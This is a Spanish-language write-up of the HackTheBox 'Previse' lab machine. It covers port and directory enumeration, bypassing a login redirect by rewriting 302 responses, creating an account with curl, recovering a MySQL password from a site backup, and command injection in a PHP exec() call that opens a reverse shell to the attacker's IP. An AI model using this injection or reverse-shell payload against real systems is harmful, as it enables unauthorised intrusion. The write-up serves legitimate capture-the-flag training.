HackTheBox – Previse Writeup

La imagen tiene un atributo ALT vacío; su nombre de archivo es image-29.png

Previse es un desafío catalogada como fácil para ganar acceso y media para elevación de privilegios. 

En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos. 

# Nmap 7.92 scan initiated Tue Dec  7 15:32:18 2021 as: nmap -p- --open -T5 -v -oG allPorts -n 10.10.11.104
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.104 ()	Status: Up
Host: 10.10.11.104 ()	Ports: 22/open/tcp//ssh///, 80/open/tcp//http///	Ignored State: closed (65533)
# Nmap done at Tue Dec  7 15:32:38 2021 -- 1 IP address (1 host up) scanned in 19.77 seconds

omo podemos ver únicamente tiene abierto los puertos 22 y 80.

Lanzamos Whatweb para intentar recabar mas datos

http://10.10.11.104/ [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]

http://10.10.11.104/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login]

Al acceder al puerto 80 nos encontramos con la siguiente web la cual presenta un panel de acceso.

Probamos con contraseñas por defecto pero no conseguimos acceso. Al no conseguir acceso a la web seguimos con nuestro proceso de enumeración

Realizando el fuzz comprobamos que con los wordlist pequeños no nos encuentra nada. al realizarlo con /directory-list-lowercase-2.3-medium.txt empezamos a entrar cosas interesantes como: nav.php

gobuster dir -u 10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -e -s "200,301,302,401" -x "php" -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/12/07 16:13:02 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.104/index.php            (Status: 302) [Size: 2801] [--> login.php]
http://10.10.11.104/header.php           (Status: 200) [Size: 980]                 
http://10.10.11.104/nav.php              (Status: 200) [Size: 1248]                
http://10.10.11.104/download.php         (Status: 302) [Size: 0] [--> login.php]   
http://10.10.11.104/login.php            (Status: 200) [Size: 2224]                
http://10.10.11.104/footer.php           (Status: 200) [Size: 217]                 
http://10.10.11.104/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
http://10.10.11.104/status.php           (Status: 302) [Size: 2971] [--> login.php]              
http://10.10.11.104/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/] 
http://10.10.11.104/logout.php           (Status: 302) [Size: 0] [--> login.php]                 
http://10.10.11.104/accounts.php         (Status: 302) [Size: 3994] [--> login.php]              
http://10.10.11.104/config.php           (Status: 200) [Size: 0]                                 
http://10.10.11.104/files.php            (Status: 302) [Size: 7240] [--> login.php]              
http://10.10.11.104/logs.php             (Status: 302) [Size: 0] [--> login.php]                 
http://10.10.11.104/server-status        (Status: 403) [Size: 277] 

Al acceder a nav.php nos encontramos con un pequeño menú

Nos damos cuenta que cuando intentamos acceder a sitio nos hacen una redirección a login.php

Abrimos Burp Suite y vamos a intentar manipular la respuesta del servidor (Más información)

Botón derecho sobre Intercept > Do Intercept > Response to this request

Cambiamos el código http 302 que nos devolvía la web por 200

Al volver de nuevo al navegador comprobamos que hemos podido acceder al apartado de «accounts.php»

Creamos un nuevo usuario

Volvemos a cambiar la respuesta: Botón derecho sobre Intercept > Do Intercept > Response to this request

Cambiamos el código http 302 que nos devolvía la web por 200

Al volver de nuevo al navegador nos encontramos que nos indica que se creo en usuario correctamente.

Una vez finalice la creación del usuario se me ocurrió que la podría haber hecho mediante curl

curl -is -X POST -d "username=admin&password=temporal01.&confirm=temporal01." 10.10.11.104/accounts.php

Accedemos con el usuario creado anteriormente.

Nos muestra un panel en donde podemos acceder a múltiple información

Vemos que en el apartado «file» un backup

Descomprimimos el archivo para buscar información sensible que nos pudiese ayudar.

unzip siteBackup.zip 
Archive:  siteBackup.zip
  inflating: accounts.php            
  inflating: config.php              
  inflating: download.php            
  inflating: file_logs.php           
  inflating: files.php               
  inflating: footer.php              
  inflating: header.php              
  inflating: index.php               
  inflating: login.php               
  inflating: logout.php              
  inflating: logs.php                
  inflating: nav.php                 
  inflating: status.php       

Al descomprimir los ficheros encontramos en el archivo «config.php» un usuario y contraseña de MySQL

cat config.php 
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Intentamos reutilizar la contraseña para acceder con otro usuario por ssh sin ningún resultado. Por lo tanto nos la guardamos por si nos pudiese servir para mas adelante.

Seguimos buscando… y en archivo logs.php encontramos un posible RCE (Más información) en la función exec()


$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";   

Accedemos nuevamente a la web al apartado file_logs.php, abrimos nuestro Burp Suite y el proxy

Modificamos la query y dejamos un NC escuchando

delim=comma%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.16.75/443+0>%261'

Una vez ejecutado la query volvemos al terminal donde hemos dejado escuchando NC

Una vez hemos conseguido acceso al servidor nos valemos de la clave obtenida anteriormente ( $passwd = ‘mySQL_p@ssw0rd!:)’; ) para acceder al servicio de MySQL.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *